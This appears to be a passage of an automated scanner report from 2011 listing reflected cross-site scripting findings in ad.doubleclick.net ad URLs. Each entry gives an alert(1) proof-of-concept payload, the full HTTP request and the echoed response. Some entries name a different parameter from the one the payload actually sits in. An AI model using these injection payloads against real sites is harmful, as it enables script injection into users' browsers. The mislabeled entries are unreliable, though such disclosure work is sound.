GET /adi/interactive.wsj.com/personalfinance_newsreel;!category=;page=newsReelAd;;mc=b2pfreezone;tile=2;sz=230x70;ord=6560656065606560;&b5a17"style%3d"x%3aexpression(alert(1))"c28df2770ea=1 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748704329104576138271281667798 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:37:02 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 537
The value of the u request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73876"style%3d"x%3aexpression(alert(1))"392e3d7bbf7 was submitted in the u parameter. This input was echoed as 73876"style="x:expression(alert(1))"392e3d7bbf7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /adi/interactive.wsj.com/personalfinance_newsreel;u=;!category=;;mc=b2pfreezone;tile=1;sz=2x94;ord=3623362336233623;73876"style%3d"x%3aexpression(alert(1))"392e3d7bbf7 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://online.wsj.com/public/page/0_0_WP_2400_NewsReel.html?baseDocId=SB10001424052748704329104576138271281667798 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Mon, 14 Feb 2011 01:36:58 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 429
The value of the c request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cd5ff'-alert(1)-'9030ba385d0 was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0cd5ff'-alert(1)-'9030ba385d0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:21 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6001
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:38:21 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... net/click%3Bh%3Dv8/3aae/f/7d/%2a/u%3B234150289%3B2-0%3B0%3B57930397%3B4307-300/250%3B39865159/39882946/3%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0cd5ff'-alert(1)-'9030ba385d0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/jnsfr%3Fcid%3Dbn_vc_f_anb_rncpaut_Frjns_ppk_300x250_%26priorityCode%3D4654700000\"> ...[SNIP]...
The value of the c request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ed56"-alert(1)-"dde2af71df5 was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=05ed56"-alert(1)-"dde2af71df5&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:17 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6021
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Jan 07 16:14:18 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... net/click%3Bh%3Dv8/3aae/f/7d/%2a/e%3B234150289%3B3-0%3B0%3B57930397%3B4307-300/250%3B40147962/40165749/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=05ed56"-alert(1)-"dde2af71df5&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/gdestp%3Fcid%3Dbn_vc_nf_anb_rncpaut_Gsbs_ppk_300x250_%26priorityCode%3D4654700000"); var fscUrl = url; var fscUrlClickTagFound = false; var wmod ...[SNIP]...
The value of the forced_click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 86415'-alert(1)-'b736f4a5c56 was submitted in the forced_click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=86415'-alert(1)-'b736f4a5c56 HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5979 Cache-Control: no-cache Pragma: no-cache Date: Mon, 14 Feb 2011 01:44:38 GMT Expires: Mon, 14 Feb 2011 01:44:38 GMT
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Jan 07 16:14:18 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... 3aae/7/7d/%2a/e%3B234150289%3B3-0%3B0%3B57930397%3B4307-300/250%3B40147962/40165749/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=86415'-alert(1)-'b736f4a5c56http://lp2.turbotax.com/ty10/bn/gdestp?cid=bn_vc_nf_anb_rncpaut_Gsbs_ppk_300x250_&priorityCode=4654700000\"> ...[SNIP]...
The value of the forced_click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7261e"-alert(1)-"ebc0bfc526f was submitted in the forced_click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=7261e"-alert(1)-"ebc0bfc526f HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 6299 Cache-Control: no-cache Pragma: no-cache Date: Mon, 14 Feb 2011 01:44:34 GMT Expires: Mon, 14 Feb 2011 01:44:34 GMT
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:42:54 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... 3aae/7/7d/%2a/q%3B234150289%3B1-0%3B0%3B57930397%3B4307-300/250%3B39601762/39619549/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=7261e"-alert(1)-"ebc0bfc526fhttp://lp2.turbotax.com/ty10/oadisp/ph-1/control_gps_f?cid=bn_vc_f_anb_rncpaut_CRFfgg_ppk_300x250&priorityCode=4654700000"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = "opaque"; var ...[SNIP]...
The value of the m request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7f824'-alert(1)-'78ddba2521c was submitted in the m parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=67f824'-alert(1)-'78ddba2521c&sid=8627&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:04 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6021
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Jan 07 16:14:18 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... .doubleclick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/e%3B234150289%3B3-0%3B0%3B57930397%3B4307-300/250%3B40147962/40165749/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=67f824'-alert(1)-'78ddba2521c&sid=8627&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/gdestp%3Fcid%3Dbn_vc_nf_anb_rncpaut_Gsbs_ppk_300x250_%26priorityCode%3D4654700000\"> ...[SNIP]...
The value of the m request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d629c"-alert(1)-"dabc82fe9a7 was submitted in the m parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6d629c"-alert(1)-"dabc82fe9a7&sid=8627&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:00 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6320
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:49:06 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... doubleclick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/f%3B234150289%3B0-0%3B0%3B57930397%3B4307-300/250%3B39601731/39619518/11%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6d629c"-alert(1)-"dabc82fe9a7&sid=8627&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/oadisp/ph-1/scroll_f%3Fcid%3Dbn_vc_f_anb_rncpaut_ScrFr_ppk_300x250_%26priorityCode%3D4654700000"); var fscUrl = url; var fscUrlClickTa ...[SNIP]...
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4aaee'-alert(1)-'64021cf45b7 was submitted in the mid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=5115034aaee'-alert(1)-'64021cf45b7&m=6&sid=8627&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:43:56 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6001
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:38:21 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... //ad.doubleclick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/u%3B234150289%3B2-0%3B0%3B57930397%3B4307-300/250%3B39865159/39882946/3%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=5115034aaee'-alert(1)-'64021cf45b7&m=6&sid=8627&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/jnsfr%3Fcid%3Dbn_vc_f_anb_rncpaut_Frjns_ppk_300x250_%26priorityCode%3D4654700000\"> ...[SNIP]...
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 13a69"-alert(1)-"441cf269a49 was submitted in the mid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=51150313a69"-alert(1)-"441cf269a49&m=6&sid=8627&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:43:52 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6320
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:49:06 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... /ad.doubleclick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/f%3B234150289%3B0-0%3B0%3B57930397%3B4307-300/250%3B39601731/39619518/11%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=51150313a69"-alert(1)-"441cf269a49&m=6&sid=8627&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/oadisp/ph-1/scroll_f%3Fcid%3Dbn_vc_f_anb_rncpaut_ScrFr_ppk_300x250_%26priorityCode%3D4654700000"); var fscUrl = url; var fscUrlCli ...[SNIP]...
The value of the sid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ca60b"-alert(1)-"9ecef699118 was submitted in the sid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627ca60b"-alert(1)-"9ecef699118&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:09 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6021
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Jan 07 16:14:18 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... ick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/e%3B234150289%3B3-0%3B0%3B57930397%3B4307-300/250%3B40147962/40165749/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627ca60b"-alert(1)-"9ecef699118&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/gdestp%3Fcid%3Dbn_vc_nf_anb_rncpaut_Gsbs_ppk_300x250_%26priorityCode%3D4654700000"); var fscUrl = url; var fscUrlClickTagFound = false; var ...[SNIP]...
The value of the sid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dcb10'-alert(1)-'29a07cd16fe was submitted in the sid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627dcb10'-alert(1)-'29a07cd16fe&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:44:13 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6021
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Fri Jan 07 16:14:18 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... ick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/e%3B234150289%3B3-0%3B0%3B57930397%3B4307-300/250%3B40147962/40165749/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=274614&mid=511503&m=6&sid=8627dcb10'-alert(1)-'29a07cd16fe&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/gdestp%3Fcid%3Dbn_vc_nf_anb_rncpaut_Gsbs_ppk_300x250_%26priorityCode%3D4654700000\"> ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4f21e"-alert(1)-"c1a80b55da6 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=2746144f21e"-alert(1)-"c1a80b55da6&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:43:43 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6001
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:38:21 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... cape("http://ad.doubleclick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/u%3B234150289%3B2-0%3B0%3B57930397%3B4307-300/250%3B39865159/39882946/3%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=2746144f21e"-alert(1)-"c1a80b55da6&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/bn/jnsfr%3Fcid%3Dbn_vc_f_anb_rncpaut_Frjns_ppk_300x250_%26priorityCode%3D4654700000"); var fscUrl = url; var fscUrlClic ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 92ab7'-alert(1)-'6d6e3b013b3 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /adj/N5506.150800.3144586890621/B5070033.6;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=27461492ab7'-alert(1)-'6d6e3b013b3&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=;ord=20110214014309? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.drudgereport.com/ Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9|2575106/466721/15017,2299144/808253/15017,1984865/715155/15016,1139856/660902/15016,2558160/1040396/15016,1359549/451737/15015,2206715/621812/15013,189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Date: Mon, 14 Feb 2011 01:43:48 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 6341
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\n<!-- Code auto-generated on Wed Jan 05 16:42:54 EST 2011 -->\n<script src=\"http://s0.2mdn.net/8793 ...[SNIP]... ref=\"http://ad.doubleclick.net/click%3Bh%3Dv8/3aae/f/7d/%2a/q%3B234150289%3B1-0%3B0%3B57930397%3B4307-300/250%3B39601762/39619549/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=27461492ab7'-alert(1)-'6d6e3b013b3&mid=511503&m=6&sid=8627&c=0&tp=8&forced_click=http%3a%2f%2flp2.turbotax.com/ty10/oadisp/ph-1/control_gps_f%3Fcid%3Dbn_vc_f_anb_rncpaut_CRFfgg_ppk_300x250%26priorityCode%3D4654700000\"> ...[SNIP]...
